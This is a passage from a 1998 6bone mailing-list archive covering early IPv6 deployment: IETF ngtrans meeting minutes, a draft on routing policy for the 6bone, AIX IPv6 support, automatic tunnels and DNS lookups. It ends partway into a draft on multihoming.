RSVP may not apply and diff services need to be used.  But, IMO the Flow
and other parameters in the packet must be in tact when the packet is
delivered to the Server or Client in Ireland for continuity and priority
within that Intranet so a global network corporate policy can be
maintained for that company.  The ISP market will differentiate
themselves IMO on who can give the best proximation of diff services to
support global corporate entities between-Intranet sites.

As far as TAG-SWITCHING.  First I think its a really good idea.  But
given the mail on this list I will read their specs before as they go to
last call to the IESG (as I am not on that mail list) and will raise an
objection and support within the IETF if that WG attempts to step on the
IPv6 Flow Label and not put it back in tact when exiting their DOI of
that packet when forwarding back to the private Intranet site.

Same for diff services.

The legal implications of stepping on my packet must be consistent with
the legal agreement I have with my ISP in entry to the Internet, or I
with my ISP will have the option of using any legal means necessary to
protect my privacy and right of packet containment en-pass thru the
Internet.  I don't think the IETF or IESG should permit alteration of
packets that affect the semantics of the packet being depended on by a
business, without legal council from the ISOC and in the U.S. by the
DOC.  All this adds up to "ergo" ----> what does the flow label
constitute in IPv6??????   And possibly the entire header.  IPSEC makes
it even more complex, add Key Escrow and it goes over the top. 

It is a very slippery slope to touch packets with IETF specifications. 

/jim


From 6bone-owner  Mon Jan 12 10:02:52 1998
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To: ipng@sunroof.eng.sun.com, 6bone@ISI.EDU
Subject: Congrats to IBM - IPv6 support shipping in AIX 3.3
Date: Mon, 12 Jan 1998 12:11:49 -0500
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Good job IBM...another leap to get IPv6 used and deployed in the market.

http://www.rs6000.ibm.com/ipv6/

/jim

From 6bone-owner  Mon Jan 12 12:43:17 1998
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From: "Peter Curran" <pcurran@ticl.co.uk>
To: <bound@zk3.dec.com>, <ipng@sunroof.eng.sun.com>, <6bone@ISI.EDU>
Subject: Re: Congrats to IBM - IPv6 support shipping in AIX 3.3
Date: Mon, 12 Jan 1998 20:50:56 -0000
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Congrats to INRIA - I thinks its their code!

http://www-frec.bull.com/OSBU2_0/aixhighlight_eg.htm

:-)



>Good job IBM...another leap to get IPv6 used and deployed in the market.
>
>http://www.rs6000.ibm.com/ipv6/
>
>/jim
>

/peter
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From 6bone-owner  Mon Jan 12 18:41:34 1998
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To: ipng@sunroof.eng.sun.com, 6bone@ISI.EDU
Subject: Re: (IPng 5136) Congrats to IBM - IPv6 support shipping in AIX 3.3 
In-Reply-To: Your message of "Mon, 12 Jan 1998 12:11:49 EST."
             <199801121711.AA17100@wasted.zk3.dec.com> 
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>Good job IBM...another leap to get IPv6 used and deployed in the market.
>
>http://www.rs6000.ibm.com/ipv6/

Much apologies.  Its AIX 4.3.

sorry,
/jim 

From 6bone-owner  Tue Jan 13 02:04:43 1998
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From: "Szabolcs Szigeti (PinkPanther)" <pink@fsz.bme.hu>
To: bound@zk3.dec.com
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Subject: Re: Congrats to IBM - IPv6 support shipping in AIX 3.3
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On Mon, 12 Jan 1998 bound@zk3.dec.com wrote:

> Good job IBM...another leap to get IPv6 used and deployed in the market.
> 
> http://www.rs6000.ibm.com/ipv6/

Actually, we've just installed it yesterday, it does indeed contain IPv6.

So far we haven't been able to get the steteless autoconfiguration working
(router sol & adv). Which is strange, since an INRIA/FreeBSD box is the
router on that segment, and works flawlessly with a Digital Unix/ipv6
implementation, but then I haven't had much time to work with it.

Anyway, if someone else is playing with AIX4.3 + IPv6 i'd be happy to
share any info.

Regards,
	szabolcs

--------------------------------------------------------------
|      Szabolcs Szigeti    |   pink@fsz.bme.hu               |
|    Electrical Engineer   |   http://www.fsz.bme.hu/~pink/  |
|    No woman, No Cray!    |   +3630218697                   |
--------------------------------------------------------------


From 6bone-owner  Tue Jan 13 05:27:54 1998
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From: "Alain Durand" <Alain.Durand@imag.fr>
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Date: Tue, 13 Jan 1998 14:27:33 +0100
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Happy new year to all of you.

I would like to make a suggestion about the new automatic
backbone map: I would like tunnels to be drawn _only_ if they
are listed in _both_ site entries.

I mean, if A says "I've a tunnel to B" and B says nothing about it,
it sould be either a configuration mistake or an inconsistancy
in the database, thus I would like nothing to be drawn on the map.
Maybe, an automatic mail could be sent to site mainteners.

I'm asking this because I've updated my entry months ago, I've
noticed many peers about the changes in the tunnels, and those
old/broken/unused tunnels are still showing on the map.

	- Alain.

From 6bone-owner  Wed Jan 14 11:37:51 1998
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To: 6bone@ISI.EDU (6BONE Mailer),
        IETF ngtrans WG <ngtrans@sunroof.Eng.Sun.COM>
From: Bob Fink <RLFink@lbl.gov>
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Sorry to be slow in posting these...they were actually completed right
after the meeting in December, but forgot to post them.

Bob

_____________cut
here___________________________________________________________

ngtrans tools WG meeting
December 9, 1997
Washington, DC IETF

Bob Gilligan chair, Tony Hain reporting

Discussion:	ngtrans@sunroof.eng.sun.com
Subscribe: 	majordomo@sunroof.eng.sun.com
Archive: 	ftp://playground.sun.com/pub/ngtrans
Chairs:		Bob Fink rlfink@lbl.gov
		Robert Gilligan gilligan@freegate.net
		Tony Hain tonyhain@microsoft.com


Updates to RFC-1933 - Bob Gilligan

Updates to RFC-1933, the current Proposed standard for Transition
Mechanisms, were discussed to move it to Draft status.  An I-D was
submitted for review at this meeting which contained, among other things,
the following:

	Remove ::127.0.0.1 from discussion

	Eliminated 'raw IPv6 form' when sending IPv4 on link
	(implementation complexity, low gain)

	Added definitions for operating mode
	(dual stack needs to know if one is to be turned off)

	DNS resolver filtering/ordering options clarified

	IPv4 compatible used only with automatic tunneling

	'v6 only' to 'v6 native'

	update MTU for new 1280 byte min MTU size

	misc. clarifications in text

	Needs: definition of link-local address for configured tunnels

	Automatic tunnel operational issues

	Source address selection when automatic tunnel

	Scope of IPv4-compatible address


Steve Deering noted that use of ND over pt-to-pt links will be discussed in
the IPv6 group on Thursday.

Need to clearly define mechanism where configured tunnel is unidirectional
with an automatic tunnel back. Issue is where to tunnel back since any
router attached to v4 cloud can forward to avoid injecting v4 routing table
into v6 cloud. Technique of using well-known v4 anycast as default tunnel
is written up, but actual pattern not defined.

Discussion diverted into should we or not, allow asymmetric use of
configured and auto tunnels.

Tony Hain commented that we are here to define the mechanisms, not define
how they get used.

Discussion about how to document injection of v4 routes or not into
v6. Should be a BCP from the 6bone implementers, since it is a topic for
that deployment timeframe.  Bob Fink said he would handle this one in
consultation with Steve Deering.

Bob Gilligan will revise the document as an ID and send to the list.


NNAT - Jim Bound

A No NAT (NNAT) draft was presented in Munich - Jim Bound gave an overview
and walkthrough of it here.

An IPv4 host requests DNS lookup, where a record is set as forwarder to
NNAT server which sends DHCPv6 reconfig message which hosts MUST listen to,
which is a temporary v4 address which allows building v4 compatible, then
the NNAT server updates DNS and responds back to original requestor.

Open issues:

	DHCPv4 use and CNAME fix
	TTL cache
	Hybrid Stack Question
	Tunnels move to egress router
	Use of RFC 1183 records
	Authoritative DNS Server Response
	Update to lifetime for long running clients
	Default reassignment hold-down time
	NNAT name of the draft - open to discussion

Concern that temporary assignment may get out of sync if host to be
reconfigured is not up at the time. Since the reconfig message is Ack'd,
the language will be clarified to note that the NNAT server will not
complete the DNS response if the Ack doesn't happen.


SIIT - Eric Nordmark

SIIT is a stateless header translator. It is not a single point of failure.
Assumes mechanism like NNAT for temporary v4 addr.
Transport-mode ESP works

Open issues:
	use v4 comp as address. Works as long as v6 cloud is clean.
	v4 traceroute


NAT-PT - George Tsirtsis

This is v6 to v4 NAT to connect the clouds. It is a combination of NAT in
outbound direction with NNAT in inbound direction. There is aminimal use of
compatible/mapped address only v6 hosts need to do anything
This breaks end-to-end principle...same issues as any NAT

This is a statefull version of SIIT.

George will work with Eric and Jim to see if a combined document is possible.


WIDE Translators - K. Tsuchiya, K. Yamamoto, T. Niinomi

Three translators developed by members of the WIDE project in Japa were
presented.

NR60 Translator - K. Tuchiya

	A modified DNS, address mapper & header translator used
	Straight NAT using DNS as resolver in both directions
	Implemented all on one node

FAITH - K. Yamamoto

	Header conversion has limitations
	Address conversion in legacy applications is difficult
	AH works when translator is trusted and rebuilds connection

Socks64 - T. Niinomi

	No DNS modification or address mapping management
	Application level gateway based on Socks 5
	Distributes fake v4 address for v6 end points
	Only modifies clients where other 2 modify infrastructure

These three translators represent actual implemented work.  The chairs
would like to thank the Wide project members for their willingness to come
a long distance to share their ideas and extensive experience, and hope
that it will continue.

_____________cut
here___________________________________________________________

ngtrans 6bone WG meeting
December 9, 10 & 11, 1997
Washington, DC IETF

Bob Fink chair, Ben Crosby, ALain Durand and Bob Fink reporting

Discussion:	6bone@isi.edu (6BONE Mailer)
Subscribe: 	majordomo@isi.edu  "subscribe 6bone"
Archive: 	http://www.ipv6.nas.nasa.gov/6bone/
Chairs:		Bob Fink rlfink@lbl.gov
		Robert Gilligan gilligan@freegate.net
		Tony Hain tonyhain@microsoft.com
Web site:	http://www.6bone.net


Due to limited time in the main ngtrans session, the discussions on 6bpne
routing issues were handled in two lunchtime disussions on 10/11 December.


WIDE 6bone status - K. Yamamoto

A brief status report of the WIDE 6bone project was given. Of special note
is the broad participation of many research/educational and industry
partners, and the development of many IPv6 implementations.

WIDE efforts started when, on June 9 1996, NAIST and Tokyo were connected
via a 64kbps circuit using v6 and then on July 16, 1996 connection was made
to the 6bone.

Currently 28 sites are connected to 4 backbone routers using RIPng.  BGP4+
conversion is delayed until later in the month.

Future plans include linking the WIDE registry to the 6bone registry,
creating an IPsec testbed, and of course BGP4+.

Again the Chairs want to thank the WIDE project members for sharing their
extensive IPv6 experience.


6bone status - Bob Fink

A brief status report of the 6bone and the backbone conversion project was
given.

	206 sites, 30 countries
	14 hosts & 13 router implementations (probably more at this time)
	42 sites using aggregation address format
	auto address delegation done via registry
	auto map generation from registry daily courtesy of Andrew Scott of
	Univ. of Lancaster
	reverse registry courtesy Bill Manning of ISI

	The backbone conversion to aggregation was accomplished on schedule


	Different strategies are emerging for sub-delegation

A brief overview of the inet6num registry object and how it relates to
automatic IPv6 address delegation through the registry was given.  This is
a result of David Kessens' work at ISI.

Discussion of backbone routing policy issues was reserved for the two
lunchtime meetings on the following two days (10/11 December).


Palo Alto IPv6 Exchange Point - Stephen Stuart

The new PAix IPv6 exchange point was described.  A LAN switch has been
devoted to native IPv6 transported in the PAix, with DIGITAL-CA, UUNET-UK
and NWNET currently peering across it.  Stephen encouraged others
interested and able to secure rack space in the exchange to particpate.


CAIRN 6bone Report - Suresh

CAIRN is a network testbed funded by DARPA. Currently CAIRN's 6bone peering
is done with NRL. Futire peering is planned with University College London,
PAix, and UUNET-UK.  The transatlantic link will be native IPv6 peering
over T1.


UK Status: Ben Crosby

An overview of the current IPv6 links in the UK was given. It was noted
that there is a move to native links to janet, and to the Univ. of
Southampton.


6bone Routing Issues I-D - Alain Durand

An early draft outline of 6bone Routing Issues was presented and discussed
in greater detail. The following is an outline of the topics covered:

- Identify all special cases
  - link local prefixes MUST NOT be advertised
  - site local only within a site - but what is a site?
     Should refer IPngwg work on that topic
  - loopback address and unspecified MUST NOT be advertised
  - multicast prefixes
   - should they be advertised in BGP 4+ ?
     - decided that they SHOULD / MUST NOT be advertised
   - ipv4 mapped addresses
     - wait on the decisions from NGtrans on "ipv4 translatable" addresses
     - this applies only to backbone
       The draft should specify for each section if it applies to all
       routers or only to backbone routers
   - ipv4 compatible SHOULD NOT be advertised on 6bone
     - perhaps they should be banned
     - suggestion that they should only be used on tunnels
     - be careful in case there is a good reason to use them in the future
   - advertise some compatible bridges using a ::/96
     - NEW SERVICE
     - general consensus not on the backbone
     - dimitri haskin wants this to happen automatically
     - auto tunnels dont need to have addresses advertised ?
     - one router to provide auto tunnelling ?
     - suggest that this is handled by the IGP ?
     ACTION - bob to send the idea to the mailing list.
   - No cases in which you would accept something that you wouldnt send on
     Stephen Stuart - liberal in recieve, but careful in sending
     Alain Durand - Ok to receive, but be carefull on what you put on
                    your routing table
   - what happens with prefixes that dont yet exist - e.g. not 2000::/8
     - routes SHOULD be discarded
   - Aggregation SHOULD be mandatory at every level - SLA, NLA, TLA
   - Backbone routers MUST be default free
   - sites MAY have a default route
   - Tunnels - prefix length ?
             - which address space ?
             - DMZ ?
   - Point to point tunnels could use a /128
     - hardware implementation problem ? (some refuse to use /128 prefixes)
     - point about the use of /128 - BGP 4+ problems due to not sharing subnet
     - dimitri says use link local but this raises next hop routing problems
       - then routers automatically change into Site level ?
       - routing entry in IGP to support the /128 ?
     This is an IDR wg issue, not a 6bone one.
   - Tunnel meshing/transit issues
     - all pTLAs MUST advertise all pTLA routes to/from each other
     - for prefixes not in pTLA, should not advertise more specific routes
     - e.g., never advertise less that /24
     - never aggregate for someone else (no proxy aggregation)

It was suggested making all the changes above and send out to the list as a
draft BCP spec for the 6bone. The purpose would be to thus document our
operating policies on the 6bone backbone.


6bone General Planning - Bob Fink

What to do nextwas discussed, given that the backbone has been converted to
the new addressing. It was agreed that it was time to declare all 0ld
(5f00) test addresses personna non grata - i.e., as of now we stop routing
them.

The general registry issue was also addressed, i.e., a lot of sites'
registry entries have not been touched since they were automatically
generated. Bob proposed deleting entries not cleaned up, given some
warning.  It was agreed to discuss this on the mail list.


Multihomed Sites - Ben Crosby et al

The general multihoming issue, i.e., how to do it at all, was discussed.
An example of 2 TLAs, with NLAs allocated in each TLA, and a site
multihomed to the 2 NLAs was used for this.  One idea was to inject a /48
site level for the given site in both NLA & TLA, which there was general
agreement on, i.e., this does not scale!!!

A 2nd idea was to use limited multihoming - the problem is that this loses
benefits of multihoming.

In further discussion on Thursday a way was discussed to attempt this by
using mobility.  Matt Crawford presented the concept during the IPng
meeting on Friday. and there was enough interest that it will at least be
pursued at the discussion level.

Note that this issue is only slightly different for IPv6 than it is for
IPv4, and there needs to be more participation from IPv4 folk experienced
in routing and multihoming to help move IPv6's multihoming issue along.

-end



From 6bone-owner  Tue Jan 20 09:58:27 1998
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From: "Alain Durand" <Alain.Durand@imag.fr>
Message-Id: <980120185732.ZM3035@rama.imag.fr>
Date: Tue, 20 Jan 1998 18:57:31 +0100
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--
--PART-BOUNDARY=.1980120185731.ZM3035.imag.fr
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Hi

I've submited a new version of the routing-issue draft
draft-ietf-ngtrans-6bone-routing-issues-01.txt

I've tried to include all feedbacks from last IETF meetings.

Here is a copy of it for the impatients.

	- Alain.


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INTERNET-DRAFT                                   Alain Durand, IMAG
January 19, 1997
Expires July 20, 1998






                    IPv6 routing issues


       <draft-ietf-ngtrans-6bone-routing-issues-01.txt>




Status of this Memo
-------------------

   This document is an Internet Draft.  Internet Drafts are working
   documents of the Internet Engineering Task Force (IETF), its Areas,
   and its Working Groups.  Note that other groups may also distribute
   working documents as Internet Drafts.


   Internet Drafts are draft documents valid for a maximum of six
   months.  Internet Drafts may be updated, replaced, or obsoleted by
   other documents at any time.  It is not appropriate to use Internet
   Drafts as reference material or to cite them other than as a
   ``working draft'' or ``work in progress.''


   Please check the 1id-abstracts.txt listing contained in the internet-
   drafts Shadow Directories on nic.ddn.mil, nnsc.nsf.net,
   nic.nordu.net, ftp.nisc.sri.com, or munnari.oz.au to learn the
   current status of any Internet Draft.

   This draft expires July 20, 1998.



Introduction
------------

    The 6bone provides examples of bogus routes which introduced
    serious operational issues.
    This memo identifies some pathological cases and gives some
    guidelines on how 6bone sites should handle them. It defines the
    'best current practise' acceptable in the 6bone for the config-
    uration of both Interior Gateway Protocols (like RIPng) and
    Exterior Gateway Protocols (like BGP4+).

    NB: Core routers used in pTLA sites MUST use BGP4+.

    This memo will cover:

    1) link local prefixes
    2) site local prefixes
    3) special case prefixes: loopback prefix & unspecified prefix
    4) multicast prefixes
    5) IPv4-mapped prefixes
    6) IPv4-compatible prefixes
    7) Yet undefined unicast prefixes (from a different /3 prefix)
    8) default routes
    9) aggregation issues
   10) Inter site tunnel issues



1) link local prefixes
----------------------

    Link local prefixes MUST NOT be advertized.



2) site local prefixes
----------------------

    Site local prefixes MAY be advertized by IGPs within a site.
    The precise definition of a site is ongoing work discussed
    in IPng working group.

    Site local prefixes MUST NOT be advertised by EGPs.



3) special case prefixes
------------------------

    a) loopback prefix ::1/128
    b) unspecified prefix ::/128

    Loopback prefix and unspecified prefix MUST NOT be advertised
    by any routing protocol.



4) multicast prefixes
---------------------

    Multicast prefixes MUST NOT be advertised by any unicast
    routing protocol.



5) IPv4-mapped prefixes
-----------------------

    IPv4-mapped prefixes MAY be advertised by IGPs withing a site.
    It may be usefull for some site to have such a route pointing to
    a translation device.

    IPv4-mapped prefixes MUST NOT be advertised by EGPs.




6) IPv4-compatible prefixes
---------------------------

    Sites may choose to use IPv4 compatible addresses internally.
    As they is no real rationale today for doing that, this practise
    should be discouraged in the 6bone. It is believed that the use
    of IPv4 compatible SHOULD be limited to end points of configured
    tunnels.

    The ::/96 IPv4-compatible prefixes MAY be advertised by IGPs.
    Other IPv4-compatible prefixes MUST NOT be advertised by IGPs.

    IPv4-compatible prefixes MUST NOT be advertised by EGPs.




7) Yet undefined unicast prefixes 
----------------------------------

    a) from a format prefix different from 2000::/3
    b) from a prefix different from 3ffe::/16 (6bone prefix)

    Such prefixes MUST NOT be advertised by any routing protocol
    in the 6bone.




8) Default routes
-----------------

    6bone core pTLA routers MUST be default free.



9) Aggregation issues
---------------------


    Aggregation SHOULD be mandatory whenever possible.

    Site border router MUST aggregate all interior prefixes to
    a /48 one.

    pTLA MUST NOT advertise prefixes longer than 24 to other pTLAs.

    Sites MUST NOT do proxy aggregation, i.e. sites MUST NOT aggregate
    on behalf of other sites.


10) Inter site tunnel issues
----------------------------


    Sites MAY use a /128 prefix taken from their own address space
    to give an IPv6 address to their endpoint of the tunnels.




11) Security considerations
---------------------------


    The result of bogus routing tables is usually unreachable sites.
    Having guidelines to aggregate or reject routes will clean up
    the routing tables. It is expected that using this guidelines,
    routing will be less sensitive to denial of service attacks
    due to misleading routes.



12) Author address
------------------


    Alain Durand
    Institut d'Informatique et de Mathematiques Appliquees de Grenoble
    IMAG  BP 53 38041 Grenoble CEDEX 9 France
    Phone : +33 4 76 63 57 03
    Fax   : +33 4 76 51 49 64
    E-Mail: Alain.Durand@imag.fr


--PART-BOUNDARY=.1980120185731.ZM3035.imag.fr--


From 6bone-owner  Wed Jan 21 07:10:54 1998
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Date: Wed, 21 Jan 1998 07:10:48 -0800
To: 6bone@ISI.EDU (6BONE Mailer)
From: Bob Fink <RLFink@lbl.gov>
Subject: a question on what to specify for buying IPv6-capable routers
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Dear 6bone folk,

I would like to elicit comments from you on appropriate features and
characteristics to specify when buying routers that are IPv6-capable.

This would be collated and posted on our web pages to help those who need
help in specifying IPv6 in their router procurements.

So...any specifications, comments and ideas, to the list please, are
appreciated (including pointers that this already exists somewhere).


Thanks,

Bob



From 6bone-owner  Thu Jan 22 14:32:26 1998
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From: Richard Draves <richdr@microsoft.com>
To: "'6bone'" <6bone@ISI.EDU>
Subject: automatic tunnels?
Date: Thu, 22 Jan 1998 14:32:12 -0800
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Does anyone out there support automatic tunnels?
My 6bone node does (it's ::131.107.65.121)
but I haven't found anyone else to ping.

Thanks,
Rich

From 6bone-owner  Thu Jan 22 14:51:27 1998
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From: Richard Draves <richdr@microsoft.com>
To: "'6bone'" <6bone@ISI.EDU>
Subject: v4 given v6
Date: Thu, 22 Jan 1998 14:48:36 -0800
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Given a 6bone node's v6 address, what's the best way to find a v4 address
for the node (if it has one)?

It would be handy for debugging to have such a method.

For example, I was pinging 3ffe:200::2c0:33ff:fe02:8b from my node (which is
3ffe:a00:6::836b:4179). I noticed that the performance was poor: several
hundred ms latencies, several percent dropped packets.

So I traced the route and tried pinging the nodes along the path. It looks
like the problem first crops up with the node 3ffe:1100:0:f004::1, which
from the registry would appear to be in England. The previous node,
3ffe:1280:1001:1::2, in California, pings just fine. So presumably it's the
jump across the ocean causing the problem.

But I'd like to try pinging a v4 address for 3ffe:1100:0:f004::1, to see if
it behaves equally poorly.

Rich

From 6bone-owner  Thu Jan 22 15:19:19 1998
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To: Richard Draves <richdr@microsoft.com>
Cc: "'6bone'" <6bone@ISI.EDU>
From: "Matt Crawford" <crawdad@fnal.gov>
Subject: Re: v4 given v6 
In-reply-to: Your message of Thu, 22 Jan 1998 14:48:36 PST.
             <4D0A23B3F74DD111ACCD00805F31D81002398E76@red-msg-50.dns.microsoft.com> 
Date: Thu, 22 Jan 1998 17:18:46 -0600
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> Given a 6bone node's v6 address, what's the best way to find a v4 address
> for the node (if it has one)?

I would look up the PTR record in ip6.int, then look up the A record
for that name.  However, there are some obstacles:

	The ip6.int is often not well-maintained.  We knew about this
	problem from the git-go.

	Some people are naming their IPv6 nodes in a separate
	subdomain, maybe because their regular DNS servers don't
	support AAAA records.

From 6bone-owner  Thu Jan 22 15:28:12 1998
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To: Richard Draves <richdr@microsoft.com>
cc: "'6bone'" <6bone@ISI.EDU>
Subject: Re: v4 given v6 
In-reply-to: Your message of "Thu, 22 Jan 1998 14:48:36 PST."
             <4D0A23B3F74DD111ACCD00805F31D81002398E76@red-msg-50.dns.microsoft.com> 
X-Quote: If you consult enough experts, you can confirm any opinion.
Date: Thu, 22 Jan 1998 15:27:32 -0800
From: Richard Johnson <raj@cisco.com>
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Theoretically you should be able to do a "PTR" query to find the
hostname and then to a "A" query to find the corresponding v4
address.

(Remember, I *did* say "theoretically".)

/raj

From 6bone-owner  Thu Jan 22 16:02:13 1998
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From: Richard Draves <richdr@microsoft.com>
To: "'Matt Crawford'" <crawdad@fnal.gov>
Cc: "'6bone'" <6bone@ISI.EDU>
Subject: RE: v4 given v6 
Date: Thu, 22 Jan 1998 16:02:02 -0800
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> > Given a 6bone node's v6 address, what's the best way to find a v4
> address
> > for the node (if it has one)?
> 
> I would look up the PTR record in ip6.int, then look up the A record
> for that name.  However, there are some obstacles:
> 
	[Richard Draves]  Yes, in practice the DNS doesn't do the job, at
least today.

	It's too bad I can't just send a Neighbor Solicitation to the v6
address and ask the node what it's link-level address is... the node would
receive the solicitation on its tunnel interface and the v4 address would be
the link-level address for the tunnel interface. But it won't work because
NS validation will fail: the packet will have a hop count != 255. In fact I
can see implementations disabling all ND on tunnel pseudo-interfaces used
for configured and automatic tunnels, since those forms of tunneling don't
use ND.

	Maybe we can define a limited form of NS/NA for use with tunnel
pseudo-interfaces? Or would that be too confusing?

	Or perhaps more generally, for all interfaces allow a NS with hop
count != 255 to query the link-level address, but if the hop count != 255,
don't update the Neighbor Cache in any way because the source isn't actually
a neighbor.

	Rich

From 6bone-owner  Thu Jan 22 21:33:37 1998
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From: leewb@dcn.soongsil.ac.kr
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Date: Fri, 23 Jan 1998 14:38:59 +0900
To: 6bone <6bone@ISI.EDU>
Subject: How can I get PTLA address?
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  Does anyone have a advice for getting PTLA address?

  Our IPv6 host is running with test address(5f0d::  type).

  and Now we hope to change this address.

  Thanks. 


--------------------------------
Lee Wangbong. DCN-SSU-KOREA.
http://dcn.soongsil.ac.kr/~leewb
phone : 02-820-0823
fax   : 02-820-0900
pager : 012-1011-2323
--------------------------------

From 6bone-owner  Fri Jan 23 06:20:32 1998
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References: Your message of Thu, 22 Jan 1998 14:48:36 PST.            
 <4D0A23B3F74DD111ACCD00805F31D81002398E76@red-msg-50.dns.microsoft.com>
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Date: Fri, 23 Jan 1998 06:20:27 -0800
To: "Matt Crawford" <crawdad@fnal.gov>, Richard Draves <richdr@microsoft.com>
From: Bob Fink <RLFink@lbl.gov>
Subject: Re: v4 given v6
Cc: "'6bone'" <6bone@ISI.EDU>
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At 3:18 PM -0800 1/22/98, Matt Crawford wrote:
>> Given a 6bone node's v6 address, what's the best way to find a v4 address
>> for the node (if it has one)?
>
>I would look up the PTR record in ip6.int, then look up the A record
>for that name.  However, there are some obstacles:
>
>	The ip6.int is often not well-maintained.  We knew about this
>	problem from the git-go.
>
>	Some people are naming their IPv6 nodes in a separate
>	subdomain, maybe because their regular DNS servers don't
>	support AAAA records.

Might it be a good time to try to go away from this convention (i.e., a
separate ipv6 subdomain)?

As we try more and more to act like a real dual v4/v6 environment it would
be best to not do this.

Can advocates of maintaining this convention please state their reasons for
this to the list?


Thanks,

Bob



From 6bone-owner  Fri Jan 23 06:49:59 1998
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Date: Fri, 23 Jan 1998 06:49:53 -0800
To: leewb@dcn.soongsil.ac.kr
From: Bob Fink <RLFink@lbl.gov>
Subject: Re: How can I get PTLA address?
Cc: 6bone@ISI.EDU (6BONE Mailer)
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At 9:38 PM -0800 1/22/98, leewb@dcn.soongsil.ac.kr wrote:
>  Does anyone have a advice for getting PTLA address?

As discussed in http://www.6bone.net/6bone_hookup.html

"The best way to find an appropriate attachment point to the 6bone (i.e., a
site to build a tunnel to) is to find a 6bone backbone site (see current
list of 6bone backbone sites) that is closely conneceted to your best IPv4
connectivity path, has good up-time and round-trip time characteristics,
and is willing to have you attach."


As for becoming a pTLA, you should get lots of experience as a leaf site
first, then if you want to be a transit, become an NLA under your pTLA to
gain experience, and then develop a strong case for becoming a pTLA level
transit.


If you have questions on this, please ask.


Thanks,

Bob



From 6bone-owner  Fri Jan 23 06:58:01 1998
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Date: Fri, 23 Jan 1998 09:57:51 -0500
From: Jack McCann <mccann@zk3.dec.com>
Message-Id: <199801231457.AA06379@wasted.zk3.dec.com>
To: 6bone@ISI.EDU, richdr@MICROSOFT.com
Subject: Re:  automatic tunnels?
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Rich,

> Does anyone out there support automatic tunnels?

Try ::206.152.163.3 (sipper.zk3-x.dec.com).  The IPv6 address is 
3ffe:1200:2002:1000:200:f8ff:fe23::6972 (sipper6.ipv6.zk3-x.dec.com).

- Jack


From 6bone-owner  Fri Jan 23 07:45:04 1998
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Date: Fri, 23 Jan 1998 10:44:54 -0500
From: Jack McCann <mccann@zk3.dec.com>
Message-Id: <199801231544.AA09421@wasted.zk3.dec.com>
To: 6bone@ISI.EDU, mccann@zk3.dec.com, richdr@MICROSOFT.com
Subject: Re:  automatic tunnels?
Sender: owner-6bone@zephyr.isi.edu
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Status: RO


>> Does anyone out there support automatic tunnels?
>
>Try ::206.152.163.3 (sipper.zk3-x.dec.com).  The IPv6 address is 
>3ffe:1200:2002:1000:200:f8ff:fe23::6972 (sipper6.ipv6.zk3-x.dec.com).
                                          ^^^^^^^
Sorry, that should be:                     sipper.ipv6.zk3-x.dec.com

- Jack


From 6bone-owner  Mon Jan 26 08:31:24 1998
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Date: Mon, 26 Jan 1998 07:49:09 -0800
To: "Buclin, Bertrand" <Bertrand.Buclin@ch.att.com>,
        Matt Crawford <crawdad@fnal.gov>,
        Richard Draves <richdr@microsoft.com>
From: Bob Fink <RLFink@lbl.gov>
Subject: RE: v4 given v6
Cc: "'6bone'" <6bone@ISI.EDU>
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Bertrand,

At 8:59 AM -0800 1/23/98, Buclin, Bertrand wrote:
>Hi Bob,
>
>> Can advocates of maintaining this convention please state their reasons for
>> this to the list?
>
>As one of those using a separate domain for Ipv4 and IPv6, here is my
>(only) reason to do so:
>
>The IPv6 lab I am running is an experimental environment, and it is our
>corporate policy not to mix experimental stuff with production. I guess
>anybody around running a service business has similar policies.
>
>DNS use for IPv6 is far from mature yet, and if we want to experiment
>with the new proposals, we should not constrain ourselves with
>production-level requirements. We want to be able to upgrade the DNS
>servers quickly if new DNS RR types are introduced, and there is no way
>I can push Operations to put  on production nodes an early and un-tested
>BIND release...
>
>Also, several of the nodes in my lab only have IPv6 stacks and no Ipv4.
>So, trying to find what their Ipv4 address does not really make sense.
>As we will see more native transports for Ipv6 (over PPP, ATM, Frame
>Relay,...), more and more Ipv6-only systems and especially routers will
>be on the 6Bone.

Thanks for the reply.  Your points are well taken.

My main purpose is to enable clients to decide which stack to use by
querying the dns for a specific domain name, which seems to require (in
general) the A and AAAA record being under the same domain name "path".

Maybe an easier way to do this for now, rather than trying to have everyone
move their AAAA into the production directory, is to have the IPv4 A record
appear along with the IPv6 AAAA record in the experimental IPv6 subdomain.


Regarding the state of most current BIND releases in common use, it was my
understanding that AAAA support way widely implemented (even if the site
doesn't know about it :-)   Anyone know if this is remotely true, or am I
dreaming?

I appreciate this wasn't your point on newer RR types in advanced BIND
versions.


>The initial question was about how to find automatic tunnel end-points.
>Even if one find which is the Ipv4 address of my boxes, that does not
>mean that I am ready to offer an automatic tunnel on those. Actually, on
>almost all my systems, automatic tunnelling is disabled.
>
>What might be of better use would be to have a new application code for
>the registry letting people know the IPv4 address of systems accepting
>auto-tunnels (After all, tunnels are also a sort of application).
>Something like:
>
>application: Auto-Tunnel ::a.b.c.d
>
>or
>
>application: Auto-Tunnel domain.name
>
>provided there is a AAAA (or whatever will replace them) for domain.name
>translating to ::a.b.c.d

I can't evaluate the value of doing this, so would prefer others comment,
but if there is a use in doing this we can ask David Kessens to add it.


Thanks,

Bob



From 6bone-owner  Mon Jan 26 11:39:19 1998
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Message-Id: <199801261939.UAA17200@givry.inria.fr>
From: Francis Dupont <Francis.Dupont@inria.fr>
To: 6bone@ISI.EDU
Subject: multihomed routing domain issues
Date: Mon, 26 Jan 1998 20:39:01 +0100
Sender: owner-6bone@zephyr.isi.edu
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Status: RO

Here is a preliminary version of a draft about
multihomed routing domain issues (as discussed
at the last IETF meeting during 6bone BOFs' lunch-time)...

Francis.Dupont@inria.fr

Internet Engineering Task Force                         Francis Dupont
INTERNET DRAFT                                               GIE DYADE
                                                      January 25, 1998
<draft-dupont-multi-00.txt>

        Multihomed routing domain issues for IPv6 aggregatable scheme

Status of this Memo
   
   This document is an Internet Draft. Internet Drafts are working
   documents of the Internet Engineering Task Force (IETF), its Areas,
   and its Working Groups. Note that other groups may also distribute
   working documents as Internet Drafts.

   Internet Drafts are draft documents valid for a maximum of six
   months. Internet Drafts may be updated, replaced, or obsoleted by
   other documents at any time. It is not appropriate to use Internet
   Drafts as reference material or to cite them other than as a
   "working draft" or "work in progress."

   To learn the current status of any Internet-Draft, please check the
   ``1id-abstracts.txt'' listing contained in the Internet Drafts
   Shadow Directories on ds.internic.net (US East Coast), nic.nordu.net
   (Europe), ftp.isi.edu (US  West  Coast), or munnari.oz.au (Pacific
   Rim).

   Distribution of this memo is unlimited.

Abstract

   This document exposes some issues for multihomed routing domains using
